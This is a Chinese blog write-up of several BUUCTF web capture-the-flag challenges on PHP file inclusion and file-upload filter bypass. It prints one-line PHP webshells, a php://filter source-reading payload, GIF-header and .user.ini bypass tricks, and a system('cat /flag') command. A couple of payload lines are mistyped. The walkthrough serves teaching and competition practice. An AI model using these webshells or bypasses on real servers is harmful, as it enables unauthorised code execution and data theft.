BUUCTF web 文件上传+文件包含篇

[ACTF2020 新生赛]Include——文件包含

1.打开题目链接,查看题目意思为文件包含在这里插入图片描述在这里插入图片描述
2. 获取到的url为

http://c605348f-44f9-4c25-b602-66c73ee07005.node3.buuoj.cn/?file=flag.php

是一个php文件,返回字符串如下:Can you find out the flag?
猜测读取原码:构造url:

?file=php://filter/read=convert.base64-encode/resource=flag.php  //文件上传中传输PHP的协议,可以传送任意PHP文件

在这里插入图片描述
3. 猜测flag被加密,使用base64解密
在这里插入图片描述

[极客大挑战 2019]Upload——文件上传

在这里插入图片描述
由题目来看,考点为文件上传。
上传一个包含一句话木马的php文件,发现上传失败并提示不是图片。在这里插入图片描述
在上传php文件时使用burp抓包,尝试修改文件后缀为png,上传不成功在这里插入图片描述
上传图片马在这里插入图片描述

继续上传文件内容为一句话木马的jpg文件,提示过滤了<?在这里插入图片描述
因为过滤了<?,因此不能只使用php语言

<script language='php'>@eval($_POST['abc']);</script>

在这里插入图片描述
发现不仅前端,后端也进行了检查。因此使用burp抓包后添加GIF文件的文件头GIF89a,并修改文件后缀为png、phtml、gif、jpg等等均可在这里插入图片描述
使用蚁剑连接即可获得flag。在这里插入图片描述

[ACTF2020 新生赛]Upload——文件上传

打开题目链接点击灯泡即可看到隐隐约约的上传文件的框。在这里插入图片描述
上传一个含有一句话木马的php文件在这里插入图片描述
继续上传一个文件内容为一句话木马的jpg文件,发现使用蚁剑连接不成功,于是我们可以在上传jpg文件时使用burp抓包修改文件后缀为phtml在这里插入图片描述
放包后发现页面提示上传的文件的绝对路径,且文件名被修改在这里插入图片描述
使用蚁剑连接时,注意用被修改过的文件名,连接成功后即可得到flag在这里插入图片描述

[SUCTF 2019]CheckIn——文件上传

  1. 上传包含一句话木马的php文件时,提示后缀不合法;
  2. 上传图片马时,提示内容错误。
  3. 尝试htaccess绕过,当上传.htaccess文件时,提示上传文件不是图片。在这里插入图片描述
  4. 上传一个以auto_propend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini。提交后提示文件格式不是图片。在这里插入图片描述
  5. 在文件内容前面添加GIF 89a来绕过文件头检测
    在这里插入图片描述
    提示上传成功在这里插入图片描述
  6. 继续上传一个文件内容为一句话木马的1.gif文件,同时添加GIF文件头来绕过文件内容检测。
GIF 89a
<?php eval($_POST[[123];)?>

提示文件内容不合格。
7. 类似于本篇文章第二题,我们猜测过滤了<?,不能只使用php

GIF89a
<script language="php">eval($_POST['cmd']);</script>

在这里插入图片描述
在这里插入图片描述

  1. 我们发现,在uploads/d4e1477e342a41f6e43fbde8f3096ada 对应的文件夹下面有两个文件,一个是.user.ini,一个是1.gif,当然,还有一个index.php。构造URL使用蚁剑连接即可。
http://ddc85fae-66c7-4e42-91cb-6625fc35b843.node4.buuoj.cn:81/ uploads/d4e1477e342a41f6e43fbde8f3096ada/index.php
  1. 若蚁剑连接不稳定,可使用post传参得到flag。在这里插入图片描述
cmd=system('cat /flag');    //注意:cat后面有空格,不可忽略

补充知识——cat ls(linux命令)

1、ls命令

  • ls命令用于查看某个目录的内容,相当于dos系统中的dir命令。
  • Linux系统中,如果我们想把某个文件设置为隐藏文件,那么只需要在该文件的文件名前面加.即可。
  • 在终端中,.表示当前目录,而..表示上级目录,/表示根目录,~表示当前用户的目录,在home目录的下一级。

2、 cat命令

cat命令用于连接文件并打印到标准输出设备上。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值